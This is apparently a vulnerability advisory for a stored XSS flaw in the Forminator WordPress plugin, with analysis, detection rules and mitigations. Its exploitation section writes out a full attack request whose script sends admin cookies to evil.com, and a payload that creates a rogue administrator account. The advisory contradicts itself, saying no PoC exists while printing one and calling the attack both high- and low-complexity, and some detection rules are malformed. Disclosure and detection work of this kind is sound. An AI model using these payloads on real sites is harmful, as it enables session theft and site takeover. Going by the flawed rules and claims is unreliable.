CVE-2026-18325

Executive Summary

CVE-2026-18325 is a Stored Cross-Site Scripting (XSS) vulnerability in the Forminator Forms plugin for WordPress, affecting all versions up to and including 1.56.1. The vulnerability allows unauthenticated attackers to inject and persist arbitrary JavaScript in upload field records via crafted form submissions. This is achieved by exploiting two distinct flaws: the skippings of sanitization for array keys prefixed with 'select-' in Forminator_Core::sanitize_array(), and the trust in a submitted 'return' flag by set_field_data().

The impact is significant due to the network-based, unauthenticated attack vector with no user interaction required (CVSS 3.1 score: 7.2 High). An attacker can execute arbitrary scripts in the context of any administrator or visitor who views the compromised page, potentially leading to session hijacking, privilege escalation, or full site compromise (e.g., injecting a new admin user). As of this report, the vendor has not released a patched version, and no public exploit code or PoC is available.

Technical Analysis

The vulnerability exists due to a logic flaw in how Forminator processes form submissions, specifically for "Upload" and "Select" field types.

1. Input Sanitization Bypass (Forminator_Core::sanitize_array()): When handling incoming form data, Forminator's core sanitization function iterates over the submitted array of field values. The function contains a conditional block that explicitly skips all filtering and sanitization for any array key that starts with the prefix select-. This was likely an oversight intended to avoid mangling complex select field data, but it creates a security boundary bypass. An attacker can exploit this by structuring the submitted form data such that the payload is placed within a key named select-<field_name>, allowing the raw, unsanitized value to pass through the plugin's primary input filtering.

2. Trusted Flag Abuse (set_field_data()): After surviving the initial sanitization, the data is processed by set_field_data(). This function contains logic that interprets a submitted form field named 'return' as an internal, trusted flag. When the 'return' field is present in the submitted data, the function treats the entire data payload—including the attacker-controlled file_url and file_name—as a legitimate, pre-validated upload record and persists it to the database without performing any further server-side validation or output escaping.

3. Stored XSS Trigger: The final trigger occurs when the forged upload record, containing the malicious file_url (e.g., javascript:alert(document.cookie) or an external URL with an event handler), is rendered in the WordPress admin dashboard or on the front-end. Any user (e.g., an administrator or site visitor) who visits the page displaying the forged upload record will execute the injected script in the context of their browser session.

The attack chain is entirely unauthenticated (no victim account interaction required to inject), reliable, and results in a persistent compromise. Because the payload is stored in the WordPress database, it affects any user who loads the compromised page until the malicious record is manually removed.

Exploitation Scenarios

Scenario: Website Backdoor & Admin Takeover

1. Reconnaissance: The attacker identifies a target WordPress site running an unpatched version of Forminator (<= 1.56.1) using a WordPress vulnerability scanner or by fingerprinting the plugin version via public source. They locate a public-facing page containing a Forminator form that includes an upload field.

2. Weaponization: The attacker crafts an HTTP POST request to the form's submission endpoint (wp-ajax or the plugin's custom handler). The request bypasses normal multi-part/form-data encoding and sends the following JSON/form-array structure:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: victim-site.com
   Content-Type: application/x-www-form-urlencoded
   
   action=forminator_submit_form_pro&form_id=1234&select-upload-1[file_url]=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>&select-upload-1[file_name]=malicious.html&select-upload-1[file_size]=1&return=1
   

   • select-upload-1[file_url]: The keys are prefixed with select-, bypassing sanitization.
   • return=1: This field tricks set_field_data() into trusting the malicious array.
   • The <script> tag contains the XSS payload.

3. Execution: The plugin, deceived by the return=1 flag, persists the forged record. The payload is now stored in the database and rendered as part of the "Uploads" list in the admin dashboard or the form's submission history page. When a site administrator visits the "Forminator → Submissions" page or views the form's results, the browser parses the file_url and executes the JavaScript.

4. Post-Exploitation: The injected script runs in the administrator's session. The attacker's script can:

   • Steal the admin's session cookies (document.cookie) and send them to an external server.
   • Send an authenticated AJAX request to admin-ajax.php to create a new administrator user account: fetch('/wp-admin/admin-ajax.php', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=update_user&user_name=attacker&user_pass=secret&role=administrator'}).
   • Deface the site by injecting malicious content into the rendered page.

(Note: While standard <script> tags may be stripped by some output escaping, the flaw specifically allows unsanitized data through, making direct execution highly likely; event handler payloads such as <img src=x onerror=alert(1)> are also viable will bypass tag-level restrictions if present.)

Impact Assessment

• Confidentiality (Low): An attacker can read data displayed in the victim's session context. This may include sensitive information visible in the admin dashboard, such as customer names, emails, and payment records (if the admin has access to them).
• Integrity (High): The attacker can fully compromise the WordPress installation by creating admin accounts, modifying posts/pages, injecting malware (e.g., cryptocurrency miners, phishing pages), and redirecting traffic. This is the most severe business impact, as the entire site's content and user data can be manipulated.
• Availability (Medium): While not a primary impact, a defaced or malware-serving website can be taken offline by hosting providers, resulting in downtime.
• Blast Radius: All WordPress websites using Forminator <= 1.56.1 are exposed to the internet. Since the exploit requires no authentication and has high attack complexity (AC:L), the number of vulnerable targets is vast, making this an attractive target for automated botnets and opportunistic attackers.

Detection Guidance

Sigma Rule

This rule detects HTTP requests to the Forminator submission action containing the return flag and a select- prefixed key, which are anomalous for legitimate upload submissions.

title: Forminator Forged Upload Record Attempt
id: 31d34a5e-2634-4b9e-9f2e-5d14a2a0c230
status: experimental
description: Detects HTTP POST requests to the Forminator AJAX action that include a 'return' flag and keys prefixed with 'select-', indicating an attempt to bypass sanitization and forge an upload record for CVE-2026-18325.
logsource:
  category: webserver
  product: apache
  detection:
    selection:
      cs-method: POST
      cs-uri-query|contains:
        - 'action=forminator_submit_form_pro'
      cs-uri-query|contains:
        - 'return=1'
        - 'select-'
    condition: selection
fields:
  - clientip
  - cs-uri-query
falsepositives:
  - Legitimate plugin functionality that uses a 'select-' prefix for non-upload fields; however, the combination with 'return=1' is highly suspicious.
level: high

YARA Rule

This rule flags PHP code or database exfiltration dumps containing the unique pattern of the vulnerable plugin logic.

rule Forminator_CVE_2026_18325_Exploit_String
{
    meta:
        author = "Valters IT Security"
        description = "Detects attempts to exploit CVE-2026-18325 by looking for the specific array structure in requests or logs."
        date = "2026-01-01"
        reference = "CVE-2026-18325"

    strings:
        $s1 = "select-" ascii wide
        $s2 = "return=1" ascii wide
        $p1 = /select-[a-zA-Z0-9_-]+\[file_url\]/ ascii wide
        $p2 = /<script[^>]*>/ ascii wide

    condition:
        all of them
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-18325 Forminator Forged Upload XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=forminator_submit_form_pro"; http_uri; content:"return=1"; http_client_body; pcre:"/select-[a-zA-Z0-9_-]+\[[^\]]*\]\[file_url\]=/Ui"; sid:202618325; rev:1;)

Elastic Detection

This EQL query searches for web server logs indicating the specific attack payload structure.

any where process.name == "httpd" and network.protocol == "http" and
  http.request.method == "POST" and url.path == "/wp-admin/admin-ajax.php" and
  url.query contains "action=forminator_submit_form_pro" and
  http.request.body.content contains "return=1" and
  http.request.body.content like "*select-*"

Splunk SPL Query

index=web sourcetype=apache:access or sourcetype=iis
| where method="POST"
| search uri="/wp-admin/admin-ajax.php" AND (uri_query="*action=forminator_submit_form_pro*" OR form_data="*action=forminator_submit_form_pro*")
| search form_data="*return=1*" AND form_data="*select-*"
| stats count by clientip, uri_path, _time

Wazuh OSSEC Rule

<group name="web_application_attack,">
  <rule id="100182" level="12">
    <decoded as="json">true</decoded>
    <field name="url">\.php</field>
    <field name="data">action=forminator_submit_form_pro</field>
    <field name="data">return=1</field>
    <field name="data">select-</field>
    <description>Detected exploitation attempt for CVE-2026-18325 (Forminator Stored XSS).</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>web_application_attack,pci_dss_6.5.7,gdpr_32,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 (UNPATCHED). There is no vendor-provided patch or fix for this vulnerability currently. The vendor has not acknowledged the issue publicly.

Immediate Mitigations (Defense-in-Depth):

1. Web Application Firewall (WAF) Rules: Deploy custom WAF rules on services like Cloudflare, AWS WAF, or ModSecurity that block POST requests to the forminator_submit_form_pro action containing both a return=1 parameter and any key that starts with select-. This is the most effective immediate defense.
2. Disable Upload Fields: Temporarily disable all Forminator upload fields via the plugin settings or by adding custom PHP code to your theme's functions.php file (add_filter('forminator_upload_field_is_visible', '__return_false');). This prevents the vulnerable code path from being accessible to attackers.
3. Input Sanitization Patch (Custom Code): If feasible, apply a temporary custom patch by forcing sanitization. Add a filter to wp_ajax_nopriv_ and wp_ajax_ handlers to strip the return field from all incoming requests if it is not part of the original form definition.

Patch/Upgrade Steps:

• None available. Monitor the WPMU DEV developer blog and the official plugin page on WordPress.org for version 1.56.2 or later. As soon as a patched version is released, update immediately.

Long-Term Hardening:

1. Regular Updates: Subscribe to the WordPress security mailing list and update all plugins promptly.
2. Least Privilege: Enforce strict Content Security Policy (CSP) headers (Content-Security-Policy: script-src 'self') to prevent the execution of arbitrary inline scripts even if the stored XSS payload reaches the browser.
3. Security Audit: Isolate any potentially compromised site. If you cannot apply a WAF rule, consider taking the site offline until a patch is released.
4. Incident Response Monitoring: Review web server logs daily for the specific attack signatures identified in the Detection Guidance section above. The absence of a patch makes active monitoring the only way to confirm a compromise.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-18325
2. Vendor Advisory (WordPress.org Plugin Page): https://wordpress.org/plugins/forminator/
3. MITRE ATT&CK Data Source (T1190): https://attack.mitre.org/techniques/T1190/
4. Wordfence Threat Intelligence: Follow https://www.wordfence.com/blog/ for any public disclosure or threat actor campaign analysis related to this CVE.

Exploit-in-the-Wild: No public exploit code or proof-of-concept has been observed in the wild as of this report. However, given the unauthenticated nature and simplicity of exploiting this logic flaw once the source code is analyzed, active exploitation is highly probable in the near term. Monitor your logs for the detection rules above.